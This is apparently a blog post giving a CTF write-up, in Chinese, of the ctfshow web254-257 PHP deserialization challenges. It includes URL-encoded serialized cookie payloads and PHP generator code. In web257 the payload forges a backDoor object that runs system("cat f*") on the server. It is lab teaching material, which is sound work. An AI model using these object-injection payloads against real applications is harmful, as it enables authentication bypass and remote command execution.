ctfshow web入门反序列化 web254-257

1.web254

在这里插入图片描述
定义了一个类ctfshowuser,定义了三个变量,定义了了三个函数,这题只要使isVip变量为true即可,就是传入的username和password和原来定义的变量值相等
payload:

username=xxxxxx&password=xxxxxx

2.web255

在这里插入图片描述
这题需要在cookie中传递使isVip为true即可,并且需要进行序列化操作
paylaod:

cookie传入,get请求usernmae=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

生成序列化内容
class ctfShowUser{
    public $isVip=True;    
}
$user = urlencode(serialize(new ctfShowUser()));
echo $user;

?>

在这里插入图片描述

3.web256

在这里插入图片描述
注意login函数是做判断最后返回true或false的,而不是赋值的意思,这题只要username和password不相等即可,isvip还要为true,通过序列化内容达到覆盖掉原有变量的效果
payload:

cookie传入,get请求usernmae=a&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
生成序列化内容
class ctfShowUser{
    public $username='a';
    public $isVip=True;  
}

echo urlencode(serialize(new ctfShowUser()));

在这里插入图片描述
4.web257
在这里插入图片描述
有三个类,想要执行命令就需要使用backdoor这个类,看到在对象执行结束执行了getinfo方法,而getinfo在backdoor类中是执行命令的方法,所以在对象创建的时候可以换成backdoor这个类,构造code变量,在对象结束后就可以执行查看flag的命令
paylaod:

cookie传入,get请求usernmae=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
生成序列化内容
class ctfShowUser{
    public function __construct(){
       $this->class=new backDoor();
   }
}
class backDoor{
   private $code='system("cat f*");';
}
echo urlencode(serialize(new ctfShowUser()));

在这里插入图片描述
参考文章:
ctfshow反序列化

posted @ 2024-08-20 00:33  mushangqiujin  阅读(240)  评论(0)    收藏  举报  来源